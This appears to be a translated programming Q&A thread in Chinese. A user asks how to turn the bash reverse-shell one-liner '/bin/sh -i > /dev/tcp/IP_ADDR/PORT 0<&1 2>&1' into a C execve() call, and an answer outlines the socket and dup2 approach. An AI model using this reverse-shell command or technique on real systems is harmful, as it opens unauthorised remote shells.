1

我需要使用execve. 我知道如何从命令行运行它,如下所示:

$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1

我可以运行一个简单版本的/bin/sh调用,如下所示:

#include <stdio.h>

int main() {

   char *args[2];
   args[0] = "/bin/sh";
   args[1] = "-i";
   args[2] = NULL;

   execve(args[0], args, NULL);
}

我无法弄清楚如何运行命令的其余部分。我尝试将剩余的字符串分配为数组> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1中的单个元素。args当我运行它时,它会报告Can't open >.

我提到的反向shell命令是否可以通过execve()?如果是这样,正确的方法是什么?谢谢。

4

1 回答 1

1

/dev/tcp/*/*文件不存在。它们是仅存在于某些 shell(bash、ksh)中的抽象。您需要在 C 程序中进行常规套接字编程(socketbindlistenaccept然后dup2是您生成的 shell 的标准 IO 描述符上的套接字)。

您还应该修复数组中的溢出。诸如 char *args[] = { "/bin/sh", "-i", 0 };应该不易出错的初始化。

于 2017-07-04T22:21:55.083 回答